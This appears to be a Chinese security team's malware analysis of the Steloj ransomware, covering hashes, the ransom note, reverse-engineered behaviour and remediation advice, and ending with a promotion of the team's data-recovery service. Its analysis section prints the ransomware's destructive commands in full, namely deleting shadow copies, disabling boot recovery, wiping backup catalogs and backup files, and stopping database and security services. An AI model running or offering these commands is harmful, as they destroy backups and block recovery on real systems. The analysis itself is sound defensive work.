1.背景
1.1 来源
2.恶意文件基础信息
2.1 加密器基本信息
| 文件名 | SQLcn052511321ALL.exe |
|---|---|
| 大小 | 678912(663.00 KiB) |
| 操作系统 | Windows(Vista) |
| 架构 | I386 |
| 模式 | 32 位 |
| 类型 | GUI |
| 字节序 | LE |
| MD5 | c8ce1e35a68c3ce7b2485855b7d82dfc |
| SHA1 | 941deaad4c2b78998447f6735a88076f62e5f739 |
| SHA256 | bad9957fd18dfa2e4231a61e1c8bb5861c52710fdf1735ebe9dc28f744c37cd7 |
2.2 勒索信
.1. Q: Whats Happen? ): Your files have been encrypted ,The file structure was not damaged, we did everything possible so that this could not happen. .2. Q: How to recover files? ): If you wish to decrypt your files you will need to cryptocurrency pay us you can send a three small files for testing,'excel ,word,jpg' something. As a guarantee of our decryption ability. .3. Q: How to contact with you? ): You can write us to our mailboxes: [[email protected]] and [[email protected]] [[email protected]] (please in subject line write your ID:
:::WARNING STATEMENT::: DON'T try to change encrypted files by yourself! If you privately try to modify the file to decrypt it, if it fails then we cannot recover. If you don't know how to buy cryptocurrency, please search for ransomware in 'Taobao' there will be many people who are willing to help you.
3.加密后文件分析
3.1威胁分析
| 病毒家族 | steloj |
|---|---|
| 首次出现时间/捕获分析时间 | 2024.06.01 || 2024.06.10 |
| 威胁类型 | 勒索软件，加密病毒 |
| 加密文件扩展名 | .steloj |
| 勒索信文件名 | README_WARNING.txt |
| 有无免费解密器？ | 无 |
| 联系邮箱 | [email protected] |
| 检测名称 | Avast (Win32:Malware-gen), AhnLab-V3 (Trojan/Win.Generic.C5576951), ALYac (Gen:Variant.Tedy.512515), Avira (no cloud) (TR/Ransom.imrnt), BitDefenderTheta (Gen:NN.ZexaF.36802.yq0@aSdxC8m), CrowdStrike Falcon (Win/malicious_confidence_100% (W))，Cylance（Unsafe），DeepInstinct（MALICIOUS），Emsisoft（Gen:Variant.Tedy.512515 (B)），ESET-NOD32（A Variant Of MSIL/Filecoder.LU），GData（Gen:Variant.Tedy.512515）， Ikarus （Trojan.MSIL.Crypt），K7GW（Trojan ( 0052f4e41 )） |
| 感染症状 | 无法打开存储在计算机上的文件，以前功能的文件现在具有不同的扩展名（.steloj）。桌面上会显示一条勒索要求消息（README_WARNING.txt）。网络犯罪分子要求通过洋葱路由登录到他们提供的数据恢复网站，根据不同的用户情况，黑客的开价也不同 |
| 感染方式 | 受感染的电子邮件附件（宏）、恶意广告、漏洞利用 |
| 受灾影响 | 大部分文件（不包括exe dll等文件，与重要系统文件）都经过加密，如果不支付赎金无法打开。黑客声称拿到了电脑内的重要数据，若不支付赎金则会在黑客的blog上公开 |
加密后：
解密后：
4.逆向分析
4.1 设置命令行和系统的语言环境
4.2 删除所有系统卷影
4.3 影卷删除命令字符串解密
del_all_shadows函数：
存在对字符串解密的情况，解密后，winExec执行的命令是：
vssadmin delete shadows /all /quiet
4.4 管理员身份检测
4.5 关闭多权限网络共享访问网络共享
4.6 关闭LanmanWorksstation服务
4.7 以当前用户模式重新开启LanmanWorksstation服务
4.8 寻找物理空闲倦
4.9 将自身程序写入自启动
4.10 命令执行
net stop VSS & sc config VSS start= disabled
sc config VSS start= Demand & net start VSS
wmic.exe SHADOWCOPY delete /nointeractive
vssadmin.exe Delete Shadows /All /Quiet
vssadmin.exe Resize ShadowStorage /for=c: /on=c: /maxsize=401MB
vssadmin.exe Resize ShadowStorage /for=d: /on=d: /maxsize=401MB
vssadmin.exe Resize ShadowStorage /for=e: /on=e: /maxsize=401MB
vssadmin.exe Resize ShadowStorage /for=f: /on=f: /maxsize=401MB
vssadmin.exe Resize ShadowStorage /for=g: /on=g: /maxsize=401MB
vssadmin.exe Resize ShadowStorage /for=h: /on=h: /maxsize=401MB
vssadmin.exe Resize ShadowStorage /for=c: /on=c: /maxsize=unbounded
vssadmin.exe Resize ShadowStorage /for=b: /on=b: /maxsize=unbounded
vssadmin.exe Resize ShadowStorage /for=d: /on=d: /maxsize=unbounded
vssadmin.exe Resize ShadowStorage /for=e: /on=e: /maxsize=unbounded
vssadmin.exe Resize ShadowStorage /for=f: /on=f: /maxsize=unbounded
vssadmin.exe Resize ShadowStorage /for=g: /on=g: /maxsize=unbounded
bcdedit.exe /set {default} recoveryenabled No
bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
wbadmin.exe DELETE CATALOG -quiet
icacls.exe "{A-Z}:" /grant {Username}:F /T /C /Q
del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk
del /s /f /q b:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk
del /s /f /q d:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk
del /s /f /q e:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk
del /s /f /q f:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk
del /s /f /q g:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk
del /s /f /q h:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk
del %0
wbadmin.exe DELETE SYSTEMSTATEBACKUP
wbadmin.exe DELETE SYSTEMSTATEBACKUP -deleteoldest
powershell -command "Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}"
4.11 清空回收站
4.12 关闭指定服务
4.12.1 关闭的服务
sqlservr
MSSQLFDLauncher
MSSQLSERVER
SQLSERVERAGENT
SQLBrowser
SQLTELEMETRY
MsDtsServer130
SSISTELEMETRY130
SQLWriter
MSSQL
SQLAgent
MSSQLServerADHelper100
MSSQLServerOLAPService
Culserver
DefWatch
Intuit.QuickBooks.FCS
QBCFMonitorService
QBIDPService
RTVscan
SQLADHLP
SavRoam
ccEvtMgr
ccSetMgr
msmdsrv
sqladhlp
sqlbrowser
sqlwriter
vmickvpexchange
vmicguestinterface
vmicshutdown
vmicheartbeat
vmicrdv
storflt
vmictimesync
vmicvss
MsDtsServer100
ReportServer
TMBMServer
postgresql-x64-9.4
UniFi
vmms
wrapper
postgresql-x64-9.4
UniFi
vmms
wrapper
4.13 关闭指定进程
4.13.1 关闭的进程
360doctor.exe
ssms.exe
WINWORD.exe
sqlservr.exe
chrome.exe
axlbridge.exe
ccEvtMgr
ccSetMgr
Culserver
Culture.exe
dbeng8
dbsrv12
DefWatch
Defwatch.exe
EXCEL.EXE
fdhost.exe
fdlauncher.exe
GDscan.exe
httpd.exe
Intuit.QuickBooks.FCS
java.exe
MsDtsSrvr.exe
msmdsrv
onenotem.exe
QBCFMonitorService
QBCFMonitorService.exe
QBDBMgr.exe
QBIDPService
QBIDPService.exe
qbupdate.exe
QBW32.exe
RAgui.exe
RTVscan
RTVscan.exe
SavRoam
sqladhlp
SQLADHLP
sqlagent
sqlbrowser
sqlbrowser.exe
sqlmangr.exe
sqlservr
sqlservr.exe
sqlwriter
sqlwriter.exe
ssms.exe
supervise.exe
tomcat6
tomcat6.exe
wdswfsafe.exe
winword.exe
Winword.exe
wrapper
wxServer.exe
wxServerView
zhudongfangyu
ZhuDongFangYu.exe
ver.exe
wxServerView
zhudongfangyu
ZhuDongFangYu.exe
4.14 调用Tor路由，实现暗网通信
4.15 随机生成密钥
4.16 RSA加密随机密钥
4.17 生成勒索信内容,并且先写入到当前目录下
4.18 目录遍历
4.19 文件过滤(StartAddress函数)
AppData
C:Windows
C:Program Files
C:Program Files (x86)
C:System Volume Information
C:$Recycle.Bin
C:ProgramData
Data
Windows
程序本身
已经加密的文件
勒索信
4.20 文件加密(encrypto_entry函数):
.steloj
.txt
.xml
.log
.diagcab
.dll
.drv
.exe
.icl
.ico
.icns
.ini
.inprocess
.idx
.lnk
.mod
.mht
.mpa
.msc
.msp
.msu
.ocx
.prf
.ReadInstructions
.rom
.rtp
.scr
.shs
.spl
.sys
.theme
.themepack
4.21 隐身模式启动Chrome浏览器
start chrome /incognito
4.22 删除自身
5.病毒分析概览
.steloj后缀。病毒会删除系统卷影、关闭多权限网络共享访问、停止和重新启动关键服务、随机生成加密密钥并使用RSA加密存储并且使用后清空。加密过程中，病毒遍历目录，过滤特定文件和路径，使用Salsa20算法加密符合条件的文件，并在每个目录写入勒索信。最终，病毒会隐藏启动Chrome浏览器并删除自身。6.安全建议
6.1 风险消减措施
资产梳理排查目标:根据实际情况，对内外网资产进行分时期排查
服务方式:调研访谈、现场勘查、工具扫描
服务关键内容：流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查
6.2 安全设备调优
目标
主要目标设备
6.3 全员安全意识增强调优
目标：
形式：
线下培训课表
1.提供相关的安全意识培训材料，由上而下分发学习
2.组织相关人员线上开会学习。线上培训模式。
线上学习平台
7.团队介绍
More
8.数据恢复服务流程
① 免费咨询/数据诊断分析
专业的售前技术顾问服务，免费在线咨询，可第一时间获取数据中毒后的正确处理措施，防范勒索病毒在内网进一步扩散或二次执行，避免错误操作导致数据无法恢复。
售前技术顾问沟通了解客户的机器中毒相关信息，结合团队数据恢复案例库的相同案例进行分析评估，初步诊断分析中毒数据的加密/损坏情况。
② 评估报价/数据恢复方案
您获取售前顾问的初步诊断评估信息后，若同意进行进一步深入的数据恢复诊断，我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。
专业数据恢复工程师根据数据检测分析结果，定制数据恢复方案（恢复价格/恢复率/恢复工期），并为您解答数据恢复方案的相关疑问。
③ 确认下单/签订合同
您清楚了解数据恢复方案后，您可自主选择以下下单方式：
双方签署对公合同：根据中毒数据分析情况，量身定制输出数据恢复合同，合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款，双方合同签订，正式进入数据恢复专业施工阶段，数据恢复后进行验证确认，数据验证无误，交易完成。
④ 开始数据恢复专业施工
安排专业数据恢复工程师团队全程服务，告知客户数据恢复过程注意事项及相关方案措施，并可根据客户需求及数据情况，可选择上门恢复/远程恢复。
数据恢复过程中，团队随时向您报告数据恢复每一个节点工作进展（数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认）。
⑤ 数据验收/安全防御方案
完成数据恢复后，我司将安排数据分析工程师进行二次检查确认数据恢复完整性，充分保障客户的数据恢复权益，二次检测确认后，通知客户进行数据验证。
客户对数据进行数据验证完成后，我司将指导后续相关注意事项及安全防范措施，并可提供专业的企业安全防范建设方案及安全顾问服务，抵御勒索病毒再次入侵。
点击关注下方名片进入公众号 了解更多
更多资讯 扫码加入群组交流
喜欢此内容的人还喜欢
索勒安全团队
【紧急警示】Locked勒索病毒利用最新PHP远程代码执行漏洞大规模批量勒索！文末附详细加固方案
索勒安全团队
【病毒分析】独家揭秘LIVE勒索病毒家族之1.5(全版本可解密)
索勒安全团队
原文始发于微信公众号（solar专业应急响应团队）：【病毒分析】Steloj勒索病毒分析
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论